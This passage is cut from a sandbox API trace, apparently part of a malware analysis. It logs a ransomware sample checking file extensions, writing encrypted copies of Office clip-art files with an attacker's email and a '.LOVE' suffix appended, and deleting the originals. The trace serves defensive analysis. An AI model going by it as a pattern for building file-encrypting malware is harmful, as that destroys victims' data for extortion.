-1 [0209.341] lstrlenW (lpString=".pdf") returned 4 [0209.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString=".xls") returned 4 [0209.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.341] lstrlenW (lpString=".xlsx") returned 5 [0209.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.341] lstrlenW (lpString=".ppt") returned 4 [0209.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0209.341] lstrlenW (lpString=".zip") returned 4 [0209.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.341] lstrlenW (lpString=".rar") returned 4 [0209.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString=".bz2") returned 4 [0209.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString=".7z") returned 3 [0209.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0209.341] lstrlenW (lpString=".dbf") returned 4 [0209.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0209.341] lstrlenW (lpString=".1cd") returned 4 [0209.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0209.341] lstrlenW (lpString=".jpg") returned 4 [0209.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.349] GetLastError () returned 0x0 [0209.349] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xf38, lpOverlapped=0x0) returned 1 [0209.365] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf40, lpOverlapped=0x0) returned 1 [0209.366] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.366] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0209.366] SetEndOfFile (hFile=0x384) returned 1 [0209.366] CloseHandle (hObject=0x384) returned 1 [0209.367] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.367] SetEndOfFile (hFile=0x348) returned 1 [0209.367] CloseHandle (hObject=0x348) returned 1 [0209.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0209.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0209.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0209.368] lstrlenW (lpString=".doc") returned 4 [0209.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.368] lstrlenW (lpString=".docx") returned 5 [0209.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.368] lstrlenW (lpString=".pdf") returned 4 [0209.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.368] lstrlenW (lpString=".xls") returned 4 [0209.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.368] lstrlenW (lpString=".xlsx") returned 5 [0209.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.368] lstrlenW (lpString=".ppt") returned 4 [0209.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0209.368] lstrlenW (lpString=".zip") returned 4 [0209.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.368] lstrlenW (lpString=".rar") returned 4 [0209.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.368] lstrlenW (lpString=".bz2") returned 4 [0209.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.368] lstrlenW (lpString=".7z") returned 3 [0209.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0209.369] lstrlenW (lpString=".dbf") returned 4 [0209.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0209.369] lstrlenW (lpString=".1cd") returned 4 [0209.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0209.369] lstrlenW (lpString=".jpg") returned 4 [0209.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.372] GetLastError () returned 0x0 [0209.372] ReadFile (in: hFile=0x358, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x984, lpOverlapped=0x0) returned 1 [0209.380] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x990, lpOverlapped=0x0) returned 1 [0209.380] ReadFile (in: hFile=0x358, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.381] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0209.381] SetEndOfFile (hFile=0x35c) returned 1 [0209.381] CloseHandle (hObject=0x35c) returned 1 [0209.381] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.381] SetEndOfFile (hFile=0x358) returned 1 [0209.382] CloseHandle (hObject=0x358) returned 1 [0209.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0209.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0209.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0209.382] lstrlenW (lpString=".doc") returned 4 [0209.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.382] lstrlenW (lpString=".docx") returned 5 [0209.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.383] lstrlenW (lpString=".pdf") returned 4 [0209.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.383] lstrlenW (lpString=".xls") returned 4 [0209.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.383] lstrlenW (lpString=".xlsx") returned 5 [0209.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.383] lstrlenW (lpString=".ppt") returned 4 [0209.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0209.383] lstrlenW (lpString=".zip") returned 4 [0209.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.383] lstrlenW (lpString=".rar") returned 4 [0209.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.383] lstrlenW (lpString=".bz2") returned 4 [0209.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.383] lstrlenW (lpString=".7z") returned 3 [0209.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0209.383] lstrlenW (lpString=".dbf") returned 4 [0209.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0209.383] lstrlenW (lpString=".1cd") returned 4 [0209.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0209.383] lstrlenW (lpString=".jpg") returned 4 [0209.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.392] GetLastError () returned 0x0 [0209.392] ReadFile (in: hFile=0x358, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1c08, lpOverlapped=0x0) returned 1 [0209.738] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0209.738] ReadFile (in: hFile=0x358, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.738] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0209.739] SetEndOfFile (hFile=0x35c) returned 1 [0210.182] CloseHandle (hObject=0x35c) returned 1 [0210.182] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.182] SetEndOfFile (hFile=0x358) returned 1 [0210.183] CloseHandle (hObject=0x358) returned 1 [0210.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0210.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0210.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0210.184] lstrlenW (lpString=".doc") returned 4 [0210.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.184] lstrlenW (lpString=".docx") returned 5 [0210.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.184] lstrlenW (lpString=".pdf") returned 4 [0210.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.184] lstrlenW (lpString=".xls") returned 4 [0210.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.184] lstrlenW (lpString=".xlsx") returned 5 [0210.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.184] lstrlenW (lpString=".ppt") returned 4 [0210.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0210.184] lstrlenW (lpString=".zip") returned 4 [0210.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.185] lstrlenW (lpString=".rar") returned 4 [0210.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.185] lstrlenW (lpString=".bz2") returned 4 [0210.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.185] lstrlenW (lpString=".7z") returned 3 [0210.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0210.185] lstrlenW (lpString=".dbf") returned 4 [0210.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0210.185] lstrlenW (lpString=".1cd") returned 4 [0210.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0210.185] lstrlenW (lpString=".jpg") returned 4 [0210.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.186] GetLastError () returned 0x0 [0210.186] ReadFile (in: hFile=0x358, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x292a, lpOverlapped=0x0) returned 1 [0210.315] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2930, lpOverlapped=0x0) returned 1 [0210.317] ReadFile (in: hFile=0x358, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.317] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0210.317] SetEndOfFile (hFile=0x35c) returned 1 [0210.317] CloseHandle (hObject=0x35c) returned 1 [0210.317] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.317] SetEndOfFile (hFile=0x358) returned 1 [0210.319] CloseHandle (hObject=0x358) returned 1 [0210.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0210.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0210.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0210.320] lstrlenW (lpString=".doc") returned 4 [0210.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.320] lstrlenW (lpString=".docx") returned 5 [0210.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.320] lstrlenW (lpString=".pdf") returned 4 [0210.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.320] lstrlenW (lpString=".xls") returned 4 [0210.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.320] lstrlenW (lpString=".xlsx") returned 5 [0210.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.320] lstrlenW (lpString=".ppt") returned 4 [0210.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0210.320] lstrlenW (lpString=".zip") returned 4 [0210.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.320] lstrlenW (lpString=".rar") returned 4 [0210.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.320] lstrlenW (lpString=".bz2") returned 4 [0210.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.321] lstrlenW (lpString=".7z") returned 3 [0210.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0210.321] lstrlenW (lpString=".dbf") returned 4 [0210.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0210.321] lstrlenW (lpString=".1cd") returned 4 [0210.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0210.321] lstrlenW (lpString=".jpg") returned 4 [0210.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.332] GetLastError () returned 0x0 [0210.332] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xdec, lpOverlapped=0x0) returned 1 [0210.395] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xdf0, lpOverlapped=0x0) returned 1 [0210.396] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.396] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0210.397] SetEndOfFile (hFile=0x364) returned 1 [0210.397] CloseHandle (hObject=0x364) returned 1 [0210.397] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.397] SetEndOfFile (hFile=0x2f0) returned 1 [0210.398] CloseHandle (hObject=0x2f0) returned 1 [0210.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0210.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0210.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0210.399] lstrlenW (lpString=".doc") returned 4 [0210.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.399] lstrlenW (lpString=".docx") returned 5 [0210.399] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.399] lstrlenW (lpString=".pdf") returned 4 [0210.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.399] lstrlenW (lpString=".xls") returned 4 [0210.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.399] lstrlenW (lpString=".xlsx") returned 5 [0210.399] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.399] lstrlenW (lpString=".ppt") returned 4 [0210.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0210.399] lstrlenW (lpString=".zip") returned 4 [0210.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.399] lstrlenW (lpString=".rar") returned 4 [0210.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.400] lstrlenW (lpString=".bz2") returned 4 [0210.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.400] lstrlenW (lpString=".7z") returned 3 [0210.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0210.400] lstrlenW (lpString=".dbf") returned 4 [0210.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0210.400] lstrlenW (lpString=".1cd") returned 4 [0210.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0210.400] lstrlenW (lpString=".jpg") returned 4 [0210.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.401] GetLastError () returned 0x0 [0210.401] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x8d6, lpOverlapped=0x0) returned 1 [0211.099] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x8e0, lpOverlapped=0x0) returned 1 [0211.100] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.100] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0211.100] SetEndOfFile (hFile=0x364) returned 1 [0211.100] CloseHandle (hObject=0x364) returned 1 [0211.101] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.101] SetEndOfFile (hFile=0x2f0) returned 1 [0211.101] CloseHandle (hObject=0x2f0) returned 1 [0211.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0211.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0211.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0211.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0211.102] lstrlenW (lpString=".doc") returned 4 [0211.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.102] lstrlenW (lpString=".docx") returned 5 [0211.102] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0211.102] lstrlenW (lpString=".pdf") returned 4 [0211.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.102] lstrlenW (lpString=".xls") returned 4 [0211.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.102] lstrlenW (lpString=".xlsx") returned 5 [0211.102] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0211.102] lstrlenW (lpString=".ppt") returned 4 [0211.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0211.102] lstrlenW (lpString=".zip") returned 4 [0211.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.102] lstrlenW (lpString=".rar") returned 4 [0211.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.102] lstrlenW (lpString=".bz2") returned 4 [0211.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.102] lstrlenW (lpString=".7z") returned 3 [0211.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0211.103] lstrlenW (lpString=".dbf") returned 4 [0211.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0211.103] lstrlenW (lpString=".1cd") returned 4 [0211.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0211.103] lstrlenW (lpString=".jpg") returned 4 [0211.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.104] GetLastError () returned 0x0 [0211.104] ReadFile 